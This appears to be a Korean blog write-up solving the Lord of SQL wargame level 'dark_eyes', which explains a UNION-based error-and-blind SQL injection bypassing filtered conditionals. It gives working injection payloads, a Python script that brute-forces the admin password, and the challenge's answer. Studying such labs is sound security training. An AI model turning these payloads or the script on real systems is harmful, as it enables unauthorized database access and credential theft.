-
LOS - dark_eyes / level 22문제 풀이/Lord Of SQL 2024. 11. 7. 21:44
문제
풀이
if문과 case when 모두 필터링이 걸려있으므로 iron_golem처럼 해결할 수 없다.
하지만 똑같이 error based + blind를 수행해야 한다.
이 문제를 해결하기 위해서는 2가지의 개념을 알아야 한다.
1. SQL union select는 중복된 값을 제거하고 출력 (union all select는 중복 허용)
2. True => 1 / False => 0
이를 활용하면 blind sql injection이 가능해진다.
?pw=a' || (select 1 union select 1=1)#
union select 1=1은 true이고 이는 1로 인식을 하게 되며 select 1과 중복값이므로 1개의 행만 반환하게 된다.
?pw=a' || (select 1 union select 1=2)#
union select 1=2는 false이고 이는 0으로 인식을 하게 되며 1,0 2개의 결과를 반환하므로 error가 발생하게 된다.
이를 활용해서 blind sql 공격
정답
더보기?pw=5a2f5d3c
코드
import requests url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=" cookie = {'PHPSESSID' : 'input your cookie'} def find_length(): num = 1 while True: print(f"{num}", end= " ", flush=True) param = f"a' || (select 1 union select length(pw)>{num})%23" new_url = url + param res = requests.get(new_url, cookies=cookie) if res.text == '': print(f"\nLength : {num}") return num num += 1 def injection(length): result = "" for i in range(1, length + 1): for k in range(32,128): print(k, end=" ", flush=True) param = f"' || id='admin' and (select 1 union select ascii(substr(pw,{i},1))={k})%23" new_url = url + param res = requests.get(new_url, cookies=cookie) if "dark_eyes" in res.text: print(f"\n Character position {i} : {chr(k)}") break result += chr(k) print(result) length = find_length() injection(length)
'문제 풀이 > Lord Of SQL' 카테고리의 다른 글
LOS - hell_fire / level 23 (0) 2024.11.11 LOS - iron_golem / level 21 (0) 2024.11.07 LOS - dragon / level 20 (0) 2024.11.07 LOS - xavis / level 19 (0) 2024.07.09 LOS - nightmare / level 18 (0) 2024.07.09